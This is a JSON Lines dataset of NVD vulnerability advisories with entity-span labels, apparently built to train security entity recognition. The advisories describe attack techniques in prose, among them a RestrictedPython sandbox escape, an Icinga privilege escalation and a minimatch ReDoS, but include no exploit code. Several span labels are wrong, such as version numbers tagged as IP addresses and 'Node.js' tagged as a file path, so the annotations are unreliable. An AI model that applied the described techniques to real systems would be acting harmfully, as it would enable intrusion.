{"text": "Vulnerability in the Oracle Financial Services Funds Transfer Pricing product of Oracle Financial Services Applications (component: User Interface). Supported versions that are affected are 8.0.6 and 8.0.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Funds Transfer Pricing. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Financial Services Funds Transfer Pricing accessible data as well as unauthorized read access to a subset of Oracle Financial Services Funds Transfer Pricing accessible data. CVSS 3.0 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [81, 87], [314, 320], [498, 504], [614, 620]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2941"}}
{"text": "minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.", "spans": {"FILEPATH: Node.js": [[1259, 1266]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27903"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPI: CPPC: Use access_width over bit_width for system memory accesses\n\nTo align with ACPI 6.3+, since bit_width can be any 8-bit value, it\ncannot be depended on to be always on a clean 8b boundary. This was\nuncovered on the Cobalt 100 platform.\n\nSError Interrupt on CPU26, code 0xbe000011 -- SError\n CPU: 26 PID: 1510 Comm: systemd-udevd Not tainted 5.15.2.1-13 #1\n Hardware name: MICROSOFT CORPORATION, BIOS MICROSOFT CORPORATION\n pstate: 62400009 (nZCv daif +PAN -UAO +TCO -DIT -SSBS BTYPE=--)\n pc : cppc_get_perf_caps+0xec/0x410\n lr : cppc_get_perf_caps+0xe8/0x410\n sp : ffff8000155ab730\n x29: ffff8000155ab730 x28: ffff0080139d0038 x27: ffff0080139d0078\n x26: 0000000000000000 x25: ffff0080139d0058 x24: 00000000ffffffff\n x23: ffff0080139d0298 x22: ffff0080139d0278 x21: 0000000000000000\n x20: ffff00802b251910 x19: ffff0080139d0000 x18: ffffffffffffffff\n x17: 0000000000000000 x16: ffffdc7e111bad04 x15: ffff00802b251008\n x14: ffffffffffffffff x13: ffff013f1fd63300 x12: 0000000000000006\n x11: ffffdc7e128f4420 x10: 0000000000000000 x9 : ffffdc7e111badec\n x8 : ffff00802b251980 x7 : 0000000000000000 x6 : ffff0080139d0028\n x5 : 0000000000000000 x4 : ffff0080139d0018 x3 : 00000000ffffffff\n x2 : 0000000000000008 x1 : ffff8000155ab7a0 x0 : 0000000000000000\n Kernel panic - not syncing: Asynchronous SError Interrupt\n CPU: 26 PID: 1510 Comm: systemd-udevd Not tainted\n5.15.2.1-13 #1\n Hardware name: MICROSOFT CORPORATION, BIOS MICROSOFT CORPORATION\n Call trace:\n  dump_backtrace+0x0/0x1e0\n  show_stack+0x24/0x30\n  dump_stack_lvl+0x8c/0xb8\n  dump_stack+0x18/0x34\n  panic+0x16c/0x384\n  add_taint+0x0/0xc0\n  arm64_serror_panic+0x7c/0x90\n  arm64_is_fatal_ras_serror+0x34/0xa4\n  do_serror+0x50/0x6c\n  el1h_64_error_handler+0x40/0x74\n  el1h_64_error+0x7c/0x80\n  cppc_get_perf_caps+0xec/0x410\n  cppc_cpufreq_cpu_init+0x74/0x400 [cppc_cpufreq]\n  cpufreq_online+0x2dc/0xa30\n  cpufreq_add_dev+0xc0/0xd4\n  subsys_interface_register+0x134/0x14c\n  cpufreq_register_driver+0x1b0/0x354\n  cppc_cpufreq_init+0x1a8/0x1000 [cppc_cpufreq]\n  do_one_initcall+0x50/0x250\n  do_init_module+0x60/0x27c\n  load_module+0x2300/0x2570\n  __do_sys_finit_module+0xa8/0x114\n  __arm64_sys_finit_module+0x2c/0x3c\n  invoke_syscall+0x78/0x100\n  el0_svc_common.constprop.0+0x180/0x1a0\n  do_el0_svc+0x84/0xa0\n  el0_svc+0x2c/0xc0\n  el0t_64_sync_handler+0xa4/0x12c\n  el0t_64_sync+0x1a4/0x1a8\n\nInstead, use access_width to determine the size and use the offset and\nwidth to shift and mask the bits to read/write out. Make sure to add a\ncheck for system memory since pcc redefines the access_width to\nsubspace id.\n\nIf access_width is not set, then fall back to using bit_width.\n\n[ rjw: Subject and changelog edits, comment adjustments ]", "spans": {"IP_ADDRESS: 5.15.2.1": [[420, 428], [1441, 1449]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[394, 401], [1415, 1422]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35995"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnilfs2: fix use-after-free bug of ns_writer on remount\n\nIf a nilfs2 filesystem is downgraded to read-only due to metadata\ncorruption on disk and is remounted read/write, or if emergency read-only\nremount is performed, detaching a log writer and synchronizing the\nfilesystem can be done at the same time.\n\nIn these cases, use-after-free of the log writer (hereinafter\nnilfs->ns_writer) can happen as shown in the scenario below:\n\n Task1                               Task2\n --------------------------------    ------------------------------\n nilfs_construct_segment\n   nilfs_segctor_sync\n     init_wait\n     init_waitqueue_entry\n     add_wait_queue\n     schedule\n                                     nilfs_remount (R/W remount case)\n\t\t\t\t       nilfs_attach_log_writer\n                                         nilfs_detach_log_writer\n                                           nilfs_segctor_destroy\n                                             kfree\n     finish_wait\n       _raw_spin_lock_irqsave\n         __raw_spin_lock_irqsave\n           do_raw_spin_lock\n             debug_spin_lock_before  <-- use-after-free\n\nWhile Task1 is sleeping, nilfs->ns_writer is freed by Task2.  After Task1\nwaked up, Task1 accesses nilfs->ns_writer which is already freed.  This\nscenario diagram is based on the Shigeru Yoshida's post [1].\n\nThis patch fixes the issue by not detaching nilfs->ns_writer on remount so\nthat this UAF race doesn't happen.  Along with this change, this patch\nalso inserts a few necessary read-only checks with superblock instance\nwhere only the ns_writer pointer was used to check if the filesystem is\nread-only.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[81, 95], [390, 404], [1166, 1180]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49834"}}
{"text": "Vulnerability in the Primavera Portfolio Management product of Oracle Construction and Engineering (component: Web Access). Supported versions that are affected are 16.1.0.0-16.1.5.1, 18.0.0.0-18.0.2.0 and 19.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Primavera Portfolio Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Primavera Portfolio Management, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Primavera Portfolio Management accessible data as well as unauthorized read access to a subset of Primavera Portfolio Management accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).", "spans": {"IP_ADDRESS: 16.1.0.0": [[165, 173]], "IP_ADDRESS: 16.1.5.1": [[174, 182]], "IP_ADDRESS: 18.0.0.0": [[184, 192]], "IP_ADDRESS: 18.0.2.0": [[193, 201]], "IP_ADDRESS: 19.0.0.0": [[206, 214]], "ORGANIZATION: Oracle": [[63, 69]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14528"}}
{"text": "Multiple vulnerabilities exist in cbor2 through version 5.7.0 in the decode_definite_long_string() function of the C extension decoder (source/decoder.c): (1) Integer Underflow Leading to Out-of-Bounds Read (CWE-191, CWE-125): An incorrect variable reference and missing state reset in the chunk processing loop causes buffer_length to not be reset to zero after UTF-8 character consumption. This results in subsequent chunk_length calculations producing negative values (e.g., chunk_length = 65536 - buffer_length), which are passed as signed integers to the read() method, potentially triggering unlimited read operations and resource exhaustion. (2) Memory Leak via Missing Reference Count Release (CWE-401): The main processing loop fails to release Python object references (Py_DECREF) for chunk objects allocated in each iteration. For CBOR strings longer than 65536 bytes, this causes cumulative memory leaks proportional to the payload size, enabling memory exhaustion attacks through repeated processing of large CBOR payloads. Both vulnerabilities can be exploited remotely without authentication by sending specially-crafted CBOR data containing definite-length text strings with multi-byte UTF-8 characters positioned at 65536-byte chunk boundaries. Successful exploitation results in denial of service through process crashes (CBORDecodeEOF exceptions) or memory exhaustion. The vulnerabilities affect all applications using cbor2's C extension to process untrusted CBOR data, including web APIs, IoT data collectors, and message queue processors. Fixed in commit 851473490281f82d82560b2368284ef33cf6e8f9 pushed with released version 5.7.1.", "spans": {"HASH: 851473490281f82d82560b2368284ef33cf6e8f9": [[1577, 1617]], "FILEPATH: decoder.c": [[143, 152]], "SYSTEM: Python": [[754, 760]], "VULNERABILITY: resource exhaustion": [[628, 647]], "VULNERABILITY: Out-of-Bounds Read": [[188, 206]], "VULNERABILITY: Integer Underflow": [[159, 176]], "VULNERABILITY: denial of service": [[1297, 1314]], "VULNERABILITY: Memory Leak": [[653, 664]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-64076"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/smc: fix deadlock triggered by cancel_delayed_work_syn()\n\nThe following LOCKDEP was detected:\n\t\tWorkqueue: events smc_lgr_free_work [smc]\n\t\tWARNING: possible circular locking dependency detected\n\t\t6.1.0-20221027.rc2.git8.56bc5b569087.300.fc36.s390x+debug #1 Not tainted\n\t\t------------------------------------------------------\n\t\tkworker/3:0/176251 is trying to acquire lock:\n\t\t00000000f1467148 ((wq_completion)smc_tx_wq-00000000#2){+.+.}-{0:0},\n\t\t\tat: __flush_workqueue+0x7a/0x4f0\n\t\tbut task is already holding lock:\n\t\t0000037fffe97dc8 ((work_completion)(&(&lgr->free_work)->work)){+.+.}-{0:0},\n\t\t\tat: process_one_work+0x232/0x730\n\t\twhich lock already depends on the new lock.\n\t\tthe existing dependency chain (in reverse order) is:\n\t\t-> #4 ((work_completion)(&(&lgr->free_work)->work)){+.+.}-{0:0}:\n\t\t       __lock_acquire+0x58e/0xbd8\n\t\t       lock_acquire.part.0+0xe2/0x248\n\t\t       lock_acquire+0xac/0x1c8\n\t\t       __flush_work+0x76/0xf0\n\t\t       __cancel_work_timer+0x170/0x220\n\t\t       __smc_lgr_terminate.part.0+0x34/0x1c0 [smc]\n\t\t       smc_connect_rdma+0x15e/0x418 [smc]\n\t\t       __smc_connect+0x234/0x480 [smc]\n\t\t       smc_connect+0x1d6/0x230 [smc]\n\t\t       __sys_connect+0x90/0xc0\n\t\t       __do_sys_socketcall+0x186/0x370\n\t\t       __do_syscall+0x1da/0x208\n\t\t       system_call+0x82/0xb0\n\t\t-> #3 (smc_client_lgr_pending){+.+.}-{3:3}:\n\t\t       __lock_acquire+0x58e/0xbd8\n\t\t       lock_acquire.part.0+0xe2/0x248\n\t\t       lock_acquire+0xac/0x1c8\n\t\t       __mutex_lock+0x96/0x8e8\n\t\t       mutex_lock_nested+0x32/0x40\n\t\t       smc_connect_rdma+0xa4/0x418 [smc]\n\t\t       __smc_connect+0x234/0x480 [smc]\n\t\t       smc_connect+0x1d6/0x230 [smc]\n\t\t       __sys_connect+0x90/0xc0\n\t\t       __do_sys_socketcall+0x186/0x370\n\t\t       __do_syscall+0x1da/0x208\n\t\t       system_call+0x82/0xb0\n\t\t-> #2 (sk_lock-AF_SMC){+.+.}-{0:0}:\n\t\t       __lock_acquire+0x58e/0xbd8\n\t\t       lock_acquire.part.0+0xe2/0x248\n\t\t       lock_acquire+0xac/0x1c8\n\t\t       lock_sock_nested+0x46/0xa8\n\t\t       smc_tx_work+0x34/0x50 [smc]\n\t\t       process_one_work+0x30c/0x730\n\t\t       worker_thread+0x62/0x420\n\t\t       kthread+0x138/0x150\n\t\t       __ret_from_fork+0x3c/0x58\n\t\t       ret_from_fork+0xa/0x40\n\t\t-> #1 ((work_completion)(&(&smc->conn.tx_work)->work)){+.+.}-{0:0}:\n\t\t       __lock_acquire+0x58e/0xbd8\n\t\t       lock_acquire.part.0+0xe2/0x248\n\t\t       lock_acquire+0xac/0x1c8\n\t\t       process_one_work+0x2bc/0x730\n\t\t       worker_thread+0x62/0x420\n\t\t       kthread+0x138/0x150\n\t\t       __ret_from_fork+0x3c/0x58\n\t\t       ret_from_fork+0xa/0x40\n\t\t-> #0 ((wq_completion)smc_tx_wq-00000000#2){+.+.}-{0:0}:\n\t\t       check_prev_add+0xd8/0xe88\n\t\t       validate_chain+0x70c/0xb20\n\t\t       __lock_acquire+0x58e/0xbd8\n\t\t       lock_acquire.part.0+0xe2/0x248\n\t\t       lock_acquire+0xac/0x1c8\n\t\t       __flush_workqueue+0xaa/0x4f0\n\t\t       drain_workqueue+0xaa/0x158\n\t\t       destroy_workqueue+0x44/0x2d8\n\t\t       smc_lgr_free+0x9e/0xf8 [smc]\n\t\t       process_one_work+0x30c/0x730\n\t\t       worker_thread+0x62/0x420\n\t\t       kthread+0x138/0x150\n\t\t       __ret_from_fork+0x3c/0x58\n\t\t       ret_from_fork+0xa/0x40\n\t\tother info that might help us debug this:\n\t\tChain exists of:\n\t\t  (wq_completion)smc_tx_wq-00000000#2\n\t  \t  --> smc_client_lgr_pending\n\t\t  --> (work_completion)(&(&lgr->free_work)->work)\n\t\t Possible unsafe locking scenario:\n\t\t       CPU0                    CPU1\n\t\t       ----                    ----\n\t\t  lock((work_completion)(&(&lgr->free_work)->work));\n\t\t                   lock(smc_client_lgr_pending);\n\t\t                   lock((work_completion)\n\t\t\t\t\t(&(&lgr->free_work)->work));\n\t\t  lock((wq_completion)smc_tx_wq-00000000#2);\n\t\t *** DEADLOCK ***\n\t\t2 locks held by kworker/3:0/176251:\n\t\t #0: 0000000080183548\n\t\t\t((wq_completion)events){+.+.}-{0:0},\n\t\t\t\tat: process_one_work+0x232/0x730\n\t\t #1: 0000037fffe97dc8\n\t\t\t((work_completion)\n\t\t\t (&(&lgr->free_work)->work)){+.+.}-{0:0},\n\t\t\t\tat: process_one_work+0x232/0x730\n\t\tstack backtr\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53233"}}
{"text": "RestrictedPython is a tool that helps to define a subset of the Python language which allows users to provide a program input into a trusted environment. RestrictedPython does not check access to stack frames and their attributes. Stack frames are accessible within at least generators and generator expressions, which are allowed inside RestrictedPython. Prior to versions 6.1 and 5.3, an attacker with access to a RestrictedPython environment can write code that gets the current stack frame in a generator and then walk the stack all the way beyond the RestrictedPython invocation boundary, thus breaking out of the restricted sandbox and potentially allowing arbitrary code execution in the Python interpreter. All RestrictedPython deployments that allow untrusted users to write Python code in the RestrictedPython environment are at risk. In terms of Zope and Plone, this would mean deployments where the administrator allows untrusted users to create and/or edit objects of type `Script (Python)`, `DTML Method`, `DTML Document` or `Zope Page Template`. This is a non-default configuration and likely to be extremely rare. The problem has been fixed in versions 6.1 and 5.3.", "spans": {"SYSTEM: Python": [[64, 70], [695, 701], [784, 790], [995, 1001]], "VULNERABILITY: code execution": [[673, 687]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-37271"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix max_sge overflow in smb_extract_folioq_to_rdma()\n\nThis fixes the following problem:\n\n[  749.901015] [   T8673] run fstests cifs/001 at 2025-06-17 09:40:30\n[  750.346409] [   T9870] ==================================================================\n[  750.346814] [   T9870] BUG: KASAN: slab-out-of-bounds in smb_set_sge+0x2cc/0x3b0 [cifs]\n[  750.347330] [   T9870] Write of size 8 at addr ffff888011082890 by task xfs_io/9870\n[  750.347705] [   T9870]\n[  750.348077] [   T9870] CPU: 0 UID: 0 PID: 9870 Comm: xfs_io Kdump: loaded Not tainted 6.16.0-rc2-metze.02+ #1 PREEMPT(voluntary)\n[  750.348082] [   T9870] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006\n[  750.348085] [   T9870] Call Trace:\n[  750.348086] [   T9870]  <TASK>\n[  750.348088] [   T9870]  dump_stack_lvl+0x76/0xa0\n[  750.348106] [   T9870]  print_report+0xd1/0x640\n[  750.348116] [   T9870]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10\n[  750.348120] [   T9870]  ? kasan_complete_mode_report_info+0x26/0x210\n[  750.348124] [   T9870]  kasan_report+0xe7/0x130\n[  750.348128] [   T9870]  ? smb_set_sge+0x2cc/0x3b0 [cifs]\n[  750.348262] [   T9870]  ? smb_set_sge+0x2cc/0x3b0 [cifs]\n[  750.348377] [   T9870]  __asan_report_store8_noabort+0x17/0x30\n[  750.348381] [   T9870]  smb_set_sge+0x2cc/0x3b0 [cifs]\n[  750.348496] [   T9870]  smbd_post_send_iter+0x1990/0x3070 [cifs]\n[  750.348625] [   T9870]  ? __pfx_smbd_post_send_iter+0x10/0x10 [cifs]\n[  750.348741] [   T9870]  ? update_stack_state+0x2a0/0x670\n[  750.348749] [   T9870]  ? cifs_flush+0x153/0x320 [cifs]\n[  750.348870] [   T9870]  ? cifs_flush+0x153/0x320 [cifs]\n[  750.348990] [   T9870]  ? update_stack_state+0x2a0/0x670\n[  750.348995] [   T9870]  smbd_send+0x58c/0x9c0 [cifs]\n[  750.349117] [   T9870]  ? __pfx_smbd_send+0x10/0x10 [cifs]\n[  750.349231] [   T9870]  ? unwind_get_return_address+0x65/0xb0\n[  750.349235] [   T9870]  ? __pfx_stack_trace_consume_entry+0x10/0x10\n[  750.349242] [   T9870]  ? arch_stack_walk+0xa7/0x100\n[  750.349250] [   T9870]  ? stack_trace_save+0x92/0xd0\n[  750.349254] [   T9870]  __smb_send_rqst+0x931/0xec0 [cifs]\n[  750.349374] [   T9870]  ? kernel_text_address+0x173/0x190\n[  750.349379] [   T9870]  ? kasan_save_stack+0x39/0x70\n[  750.349382] [   T9870]  ? kasan_save_track+0x18/0x70\n[  750.349385] [   T9870]  ? __kasan_slab_alloc+0x9d/0xa0\n[  750.349389] [   T9870]  ? __pfx___smb_send_rqst+0x10/0x10 [cifs]\n[  750.349508] [   T9870]  ? smb2_mid_entry_alloc+0xb4/0x7e0 [cifs]\n[  750.349626] [   T9870]  ? cifs_call_async+0x277/0xb00 [cifs]\n[  750.349746] [   T9870]  ? cifs_issue_write+0x256/0x610 [cifs]\n[  750.349867] [   T9870]  ? netfs_do_issue_write+0xc2/0x340 [netfs]\n[  750.349900] [   T9870]  ? netfs_advance_write+0x45b/0x1270 [netfs]\n[  750.349929] [   T9870]  ? netfs_write_folio+0xd6c/0x1be0 [netfs]\n[  750.349958] [   T9870]  ? netfs_writepages+0x2e9/0xa80 [netfs]\n[  750.349987] [   T9870]  ? do_writepages+0x21f/0x590\n[  750.349993] [   T9870]  ? filemap_fdatawrite_wbc+0xe1/0x140\n[  750.349997] [   T9870]  ? entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[  750.350002] [   T9870]  smb_send_rqst+0x22e/0x2f0 [cifs]\n[  750.350131] [   T9870]  ? __pfx_smb_send_rqst+0x10/0x10 [cifs]\n[  750.350255] [   T9870]  ? local_clock_noinstr+0xe/0xd0\n[  750.350261] [   T9870]  ? kasan_save_alloc_info+0x37/0x60\n[  750.350268] [   T9870]  ? __kasan_check_write+0x14/0x30\n[  750.350271] [   T9870]  ? _raw_spin_lock+0x81/0xf0\n[  750.350275] [   T9870]  ? __pfx__raw_spin_lock+0x10/0x10\n[  750.350278] [   T9870]  ? smb2_setup_async_request+0x293/0x580 [cifs]\n[  750.350398] [   T9870]  cifs_call_async+0x477/0xb00 [cifs]\n[  750.350518] [   T9870]  ? __pfx_smb2_writev_callback+0x10/0x10 [cifs]\n[  750.350636] [   T9870]  ? __pfx_cifs_call_async+0x10/0x10 [cifs]\n[  750.350756] [   T9870]  ? __pfx__raw_spin_lock+0x10/0x10\n[  750.350760] [   T9870]  ? __kasan_check_write+0x14/0x30\n[  750.350763] [   T98\n---truncated---", "spans": {"FILEPATH: /01/2006": [[765, 773]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: VirtualBox": [[724, 734], [735, 745], [752, 762]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38179"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. The implementation of the `DepthToSpace` TFLite operator is vulnerable to a division by zero error(https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/depth_to_space.cc#L63-L69). An attacker can craft a model such that `params->block_size` is 0. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/depth_to_space.cc#L63-L69": [[170, 306]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29595"}}
{"text": "Icinga is a monitoring system which checks the availability of network resources, notifies users of outages, and generates performance data for reporting. From version 2.4.0 through version 2.12.4, a vulnerability exists that may allow privilege escalation for authenticated API users. With a read-ony user's credentials, an attacker can view most attributes of all config objects including `ticket_salt` of `ApiListener`. This salt is enough to compute a ticket for every possible common name (CN). A ticket, the master node's certificate, and a self-signed certificate are enough to successfully request the desired certificate from Icinga. That certificate may in turn be used to steal an endpoint or API user's identity. Versions 2.12.5 and 2.11.10 both contain a fix the vulnerability. As a workaround, one may either specify queryable types explicitly or filter out ApiListener objects.", "spans": {"VULNERABILITY: privilege escalation": [[236, 256]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32739"}}
{"text": "The <redacted>.exe or <redacted>.exe CGI binary can be used to upload arbitrary files to /tmp/upload/ or /tmp/ respectively as any user, although the user interface for uploading files is only shown to the iocadmin user.\n\nThis issue affects Iocharger firmware for AC models before version 24120701.\n\nLikelihood: Moderate – An attacker will need to have knowledge of this CGI binary, e.g. by finding it in firmware. Furthermore, the attacker will need a (low privilege) account to gain access to the <redacted>.exe or <redacted>.exe CGI binary and upload the file, or convince a user with such access to upload it.\n\nImpact: Low – The attacker can upload arbitrary files to /tmp/upload/ or /tmp/. However, the attacker is unable to access or use these files without other vulnerabilities.\n\nCVSS clarification. The attack can be executed over any network connection the station is listening to and serves the web interface (AV:N), and there are no additional security measure sin place that need to be circumvented (AC:L), the attack does not rely on preconditions (AT:N). The attack does require authentication, but the level of authentication is irrelevant (PR:L), it does not require user interaction (UI:N). Artitrary files can be uploaded, be these files will not be in a location where they can influence confidentiality or availability and have a minimal impact on device integrity (VC:N/VI:L/VA:N).  There is no impact on subsequent systems. (SC:N/SI:N/SA:N). While this device is an EV charger handing significant amounts of power, we do not expect this vulnerability to have a safety impact. The attack can be automated (AU:Y).", "spans": {"FILEPATH: /tmp/upload": [[89, 100], [672, 683]], "FILEPATH: /tmp/.": [[688, 694]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43662"}}
{"text": "Vulnerability in the Oracle Financial Services Deposit Insurance Calculations for Liquidity Risk Management product of Oracle Financial Services Applications (component: User Interfaces). Supported versions that are affected are 8.0.7 and 8.0.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Deposit Insurance Calculations for Liquidity Risk Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Financial Services Deposit Insurance Calculations for Liquidity Risk Management accessible data as well as unauthorized read access to a subset of Oracle Financial Services Deposit Insurance Calculations for Liquidity Risk Management accessible data. CVSS 3.0 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [119, 125], [353, 359], [575, 581], [729, 735]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2945"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: fix netdevice reference leaks in attach_default_qdiscs()\n\nIn attach_default_qdiscs(), if a dev has multiple queues and queue 0 fails\nto attach qdisc because there is no memory in attach_one_default_qdisc().\nThen dev->qdisc will be noop_qdisc by default. But the other queues may be\nable to successfully attach to default qdisc.\n\nIn this case, the fallback to noqueue process will be triggered. If the\noriginal attached qdisc is not released and a new one is directly\nattached, this will cause netdevice reference leaks.\n\nThe following is the bug log:\n\nveth0: default qdisc (fq_codel) fail, fallback to noqueue\nunregister_netdevice: waiting for veth0 to become free. Usage count = 32\nleaked reference.\n qdisc_alloc+0x12e/0x210\n qdisc_create_dflt+0x62/0x140\n attach_one_default_qdisc.constprop.41+0x44/0x70\n dev_activate+0x128/0x290\n __dev_open+0x12a/0x190\n __dev_change_flags+0x1a2/0x1f0\n dev_change_flags+0x23/0x60\n do_setlink+0x332/0x1150\n __rtnl_newlink+0x52f/0x8e0\n rtnl_newlink+0x43/0x70\n rtnetlink_rcv_msg+0x140/0x3b0\n netlink_rcv_skb+0x50/0x100\n netlink_unicast+0x1bb/0x290\n netlink_sendmsg+0x37c/0x4e0\n sock_sendmsg+0x5f/0x70\n ____sys_sendmsg+0x208/0x280\n\nFix this bug by clearing any non-noop qdiscs that may have been assigned\nbefore trying to re-attach.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49958"}}
{"text": "Vulnerability in the Oracle Applications DBA component of Oracle Database Server. Supported versions that are affected are 12.1.0.2, 12.2.0.1, 18c and 19c. Easily exploitable vulnerability allows low privileged attacker having Local Logon privilege with logon to the infrastructure where Oracle Applications DBA executes to compromise Oracle Applications DBA. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Applications DBA accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Applications DBA. CVSS 3.0 Base Score 3.9 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L).", "spans": {"IP_ADDRESS: 12.1.0.2": [[123, 131]], "IP_ADDRESS: 12.2.0.1": [[133, 141]], "SYSTEM: Oracle Database": [[58, 73]], "ORGANIZATION: Oracle": [[21, 27], [288, 294], [335, 341], [555, 561], [674, 680]], "VULNERABILITY: denial of service": [[639, 656]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2568"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: ImageIO). Supported versions that are affected are Oracle Java SE: 7u321, 8u311, 11.0.13, 17.0.1; Oracle GraalVM Enterprise Edition: 20.3.4 and 21.3.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).", "spans": {"SYSTEM: Java": [[28, 32], [89, 93], [167, 171], [390, 394], [571, 575], [651, 655], [708, 712], [749, 753], [854, 858]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [82, 88], [160, 166], [207, 213], [383, 389], [399, 405], [564, 570], [580, 586]], "VULNERABILITY: denial of service": [[529, 546]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21365"}}
{"text": "qutebrowser is an open source keyboard-focused browser with a minimal GUI. Starting with qutebrowser v1.7.0, the Windows installer for qutebrowser registers a `qutebrowserurl:` URL handler. With certain applications, opening a specially crafted `qutebrowserurl:...` URL can lead to execution of qutebrowser commands, which in turn allows arbitrary code execution via commands such as `:spawn` or `:debug-pyeval`. Only Windows installs where qutebrowser is registered as URL handler are affected. The issue has been fixed in qutebrowser v2.4.0. The fix also adds additional hardening for potential similar issues on Linux (by adding the new --untrusted-args flag to the .desktop file), though no such vulnerabilities are known.", "spans": {"SYSTEM: Windows": [[113, 120], [418, 425]], "SYSTEM: Linux": [[615, 620]], "VULNERABILITY: code execution": [[348, 362]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41146"}}
